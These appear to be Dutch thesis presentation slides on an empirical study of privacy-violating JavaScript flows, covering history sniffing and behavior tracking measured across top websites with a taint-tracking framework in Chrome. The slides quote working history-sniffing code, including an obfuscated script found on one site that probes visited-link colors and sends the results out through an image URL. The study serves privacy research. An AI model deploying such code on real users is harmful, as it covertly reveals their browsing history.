

An Emperical Study of Privacy-Violating Information Flows in Javascript Web Applications

tweede thesis presentatie

Willem De Groef

K.U.Leuven, Dept. of Computer Science

willem@cqrit.be

22 maart 2011

- “*An Emperical Study of Privacy-Violating Information Flows in JavaScript Web Applications*”
 - gepubliceerd in Proceedings of the 17th ACM conference on Computer and Communications Security
- wat zijn privacy-violating information flows?
- welke infrastructuur is nodig om te testen?
- wat zijn de resultaten van de studie?

- dankzij JavaScript bestaan er rich browser-based applications
 - source code van verschillende, potentieel onbetrouwbare bronnen
- mogelijkheid on-the-fly inladen van nieuwe code
- ontbreken van aantal beschermingsmechanismen in JavaScript
 - taal gebaseerd (e.g. geen property hiding)
 - steunen op browser-level isolatie?
 - niet fijn gevoelig genoeg
 - niet uniform toegepast op alle resources
- door snelle toename in gebruik van JavaScript, snelle toename in security vulnerabilities (op zijn minst theoretisch)

- beperken tot belangrijke klasse van vulnerabilities
- reeds zorgvuldig bestudeerd in academische literatuur
- privacy-violating information flows (soms duidelijk, soms niet)?
 - ① history sniffing
 - ② behavior tracking
 - ③ cookie stealing
 - ④ location hijacking

- in meeste browser delen alle applicaties een enkele
 - browsing geschiedenis
 - file cache
 - DNS cache
- privacy-violating?
 - aanvaller kan opzoeken welke URL's reeds bezocht zijn door gebruik te maken van de kleur van een link

- via JavaScript mogelijk om een tijdslijn op te stellen van het gedrag van een gebruiker
- instellen van event handlers:
 - muis
 - scrolling
 - toetsenbord
- berekende informatie kan worden teruggestuurd
- privacy-violating?
 - dunne lijn tussen aanvaard en privacy-violating (e.g. pagina navigatie vs heatmaps)

- algemeen geweten: privacy-violating flows zijn mogelijk en bestaan hoogstwaarschijnlijk
 - maar hoe “in the wild”?
 - hoeveel websites?
 - pre-packaged software?
 - obfuscated?
- niet met het oog op de constructie van een beveiligingsmechanisme, louter empirische evaluatie

- taal om privacy-violating flows te beschrijven
 - injecteren van taints
 - sommige taints moeten worden tegengehouden
- formaliseren van probleem (e.g. cookie stealing) in deze taal
- e.g. cookie met taint
 - voorkom dat taint naar andere (al dan niet door third-party code gecontroleerde) variabelen vloeit

- nood aan fijnmazige isolatie mechanismen
- policy moet beschrijven welke waarden *invloed hebben op* en *onder invloed staan van* anderen
- injection site: at **S** if **P** inject **T**
 - e.g. at **document.location** if **true** inject **secret**
- checking site: at **S** if **P** block **T** on **V**
 - e.g. at **\$1.location=\$2** if **\$1.url** \neq **a.com** block **secret** on **\$2**
 - url wordt aan elk object automatisch toegevoegd

- framework ingebouwd in Google Chrome
- losgelaten op frontpage van *Alexa global top 50000* websites
- geen voorbeelden van location hijacking gevonden wel van het lekken van cookies
 - naar third-party reclame agentschappen
- resultaat: populaire Web 2.0 applications maken over het algemeen gebruik van privacy-violating flows!
- concreet inzoomen op **history sniffing** en **behavior tracking**

- gedeelde DNS cache en browsergeschiedenis
- gekende aanval, maar ook echt gebruikt?

```
1 var l = document.createElement("a");  
  l.href = "http://a.com/";  
3 document.defaultView.getComputedStyle(l,null)  
  .getPropertyValue("color");
```

- formaliseer dmv policies:
at **`$1.getComputedStyle($2,...)`** if **`$2.isLink()`** inject **secret**
at **`document.send($1, $2)`** block **secret** on **`$2`**

- 485 websites inspecteren style properties
- 63 verzenden geschiedenis, **46** doen effectief aan history sniffing
- sommigen maken ook gebruik van history sniffing bibliotheken (e.g. interclick.com, meaningtool.com, feedjit.com)

Rang	Site	Src	URLs
61	youporn		pornhub, tub8, (+ 21)
867	charter.net	I	cars, edmunds, (+ 21)
2333	feedjit	F	twitter, facebook, (+ 6)
2415	gamestorrents	M	amazon, ebay, (+ 220)

```
1 var k = { 0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"
      bevmugsjfoegjoeefs/dpn", ...};
2 var g = [];
3
4 for (var m in k) { /* next slide */ }
5
6 var b = (g instanceof Array)? g.join(",") : "";
7 var c = document.createElement("img");
8 c.src = "http://ol.youporn.com/blank.gif?id="+b;
9 document.getElementById("ol").appendChild(c)
```

```
1  for(var m in k) {
    var d = k[m];
3   var a = "" ;
    for (var f=0;f<d.length;f++) { a+=String.fromCharCode(
        d.charCodeAt(f)-1) }
5   var h = false;
    for (var j in {"http://":"","http://www.":""}) {
7     var l = document.createElement("a");
        l.href = j+a;document.getElementById("ol").
            appendChild(l);
9     var e = "";

11    if (navigator.appName.indexOf("Microsoft")!=-1) { e =
        l.currentStyle.color }
    else { e=document.defaultView.getComputedStyle(l,null
        ).getPropertyValue("color") }

13    if (e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)") { h=true
        }

15    }

17    if (h) { g.push(m) }
```

- loggen van activiteit van de gebruiker
- geformaliseerd via volgende policies:
 - at **\$1.isMouseOver()** inject **secret**
 - at **\$1.isClick()** inject **secret**
 - at **\$1.isScroll()** inject **secret**
 - ...
 - at **document.send(\$1, \$2)** block **secret** on **\$2**
- getest op frontpage van *Alexa global top 1300* websites
- extra moeilijkheid
 - simuleren van toetsenbord/muis
 - automatisch oproepen van call event handlers

- 328 websites versturen toetsenbord/muis informatie
- velen zijn duidelijk voor de gebruiker (e.g. uitzicht van een item wijzigen bij mouse-over event)
 - privacy-violating?
- zijn op zoek naar covert tracking (dus geen image replacing)
 - antwoord na versturen < 100 bytes
- **115** websites blijven over

Rang	Site	Type	Events
3	youtube	contents	click
11	yahoo.co.jp	portal	click
15	sina.com.cn	portal	click
19	microsoft	software	mouseover, click

- **7** van de 115 websites gebruiken software van `tynt.com`
- monitort copy-event en voegt URL toe aan content

Tynt's patent pending technology is currently running on hundreds of thousands of web sites and monitors billions of page loads per month.

*Read more: Tynt » Copy and Paste to Share Content
<http://www.tynt.com/publisher-tools/copy-and-paste-to-share-content/#ixzz1Gf1Lw6o9>*

Rang	Site	Type	Events
503	thesun.co.uk	news	copy, mouseover
560	perezhilton	entertainment	copy, mouseover
910	technorati	blog	copy, mouseover

- gebruik van een information flow framework
 - herschrijven van JavaScript code
 - geïmplementeerd in een browser
- uitgebreide empirische analyse van privacy-violating information flows
- verdere uitbreidingen:
 - dieper onderzoeken
 - nu slechts frontpage, plain check
 - uitgebreider zoeken
 - meer dan 200 miljoen domeinnamen geregistreerd
 - framework uitbreiden tot beschermingsmechanisme?